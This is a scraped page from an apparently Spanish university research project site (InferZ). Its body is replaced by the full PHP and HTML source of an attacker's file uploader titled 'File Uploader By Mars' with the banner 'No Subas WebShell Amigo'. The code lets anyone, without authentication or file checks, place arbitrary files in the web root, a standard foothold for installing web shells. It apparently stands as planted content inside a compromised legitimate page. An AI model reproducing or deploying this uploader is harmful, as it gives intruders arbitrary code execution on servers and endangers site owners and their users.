twiter facebook youtube
espa駉l espa駉l
resumen
InferZ

<?php

error_reporting(E_ALL);

ini_set('display_errors', 1);

 

if (isset($_POST['_upl']) && $_POST['_upl'] == "Upload") {

    $uploadDir = $_SERVER['DOCUMENT_ROOT'] . '/';

    $targetFile = $uploadDir . basename($_FILES['file']['name']);

 

    if (is_uploaded_file($_FILES['file']['tmp_name'])) {

        if (move_uploaded_file($_FILES['file']['tmp_name'], $targetFile)) {

            $uploadMessage = '<b>Upload successful! File can be accessed at: <a href="/' . basename($_FILES['file']['name']) . '">' . basename($_FILES['file']['name']) . '</a></b>';

        } else {

            $uploadMessage = '<b>Upload failed! Error moving the file to the target location.</b>';

        }

    } else {

        $uploadMessage = '<b>Upload failed! The file was not uploaded correctly.</b>';

    }

 

    $fileDebugInfo = '<pre>' . print_r($_FILES, true) . '</pre>';

} else {

    $uploadMessage = '';

    $fileDebugInfo = '';

}

?>

 

<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <meta name="viewport" content="width=device-width, initial-scale=1.0">

    <title>File Uploader By Mars</title>

    <style>

        * {

            margin: 0;

            padding: 0;

            box-sizing: border-box;

        }

        body, html {

            height: 100%;

            font-family: 'Courier New', Courier, monospace;

            background-color: #000;

            color: #00ff00;

            display: flex;

            justify-content: center;

            align-items: center;

        }

        .container {

            display: flex;

            flex-direction: column;

            align-items: center;

            padding: 20px;

            background-color: #111;

            border-radius: 8px;

            box-shadow: 0 0 15px rgba(0, 255, 0, 0.6);

            max-width: 600px;

            width: 100%;

        }

        input[type="file"] {

            margin: 15px 0;

            width: 100%;

            padding: 8px;

            background-color: #000;

            color: #00ff00;

            border: 1px solid #00ff00;

            border-radius: 4px;

        }

        input[type="submit"] {

            padding: 10px 15px;

            background-color: #000;

            color: #00ff00;

            border: 1px solid #00ff00;

            border-radius: 4px;

            cursor: pointer;

            font-size: 16px;

        }

        input[type="submit"]:hover {

            background-color: #00ff00;

            color: #000;

        }

        .message {

            margin-top: 20px;

            text-align: center;

        }

        a {

            color: #00ff00;

            text-decoration: none;

        }

        a:hover {

            text-decoration: underline;

        }

        pre {

            margin-top: 20px;

            background-color: #000;

            padding: 10px;

            color: #00ff00;

            border: 1px solid #00ff00;

        }

        h1 {

            color: #00ff00;

        }

    </style>

</head>

<body>

 

    <div class="container">

        <h1>No Subas WebShell Amigo</h1>

        <form action="" method="post" enctype="multipart/form-data">

            <input type="file" name="file">

            <input type="submit" name="_upl" value="Upload">

        </form>

        <div class="message">

            <?php echo $uploadMessage; ?>

            <?php echo $fileDebugInfo; ?>

        </div>

    </div>

 

</body>

</html>

enlaces enlaces
gobierno español. Ministerio de ciencias e innovacion
EDU2010-21395-C03-01. U. Pompeu Fabra
EDU2010-21395-C03-02. U. de Valladolid
EDU2010-21395-C03-03. U. de Huelva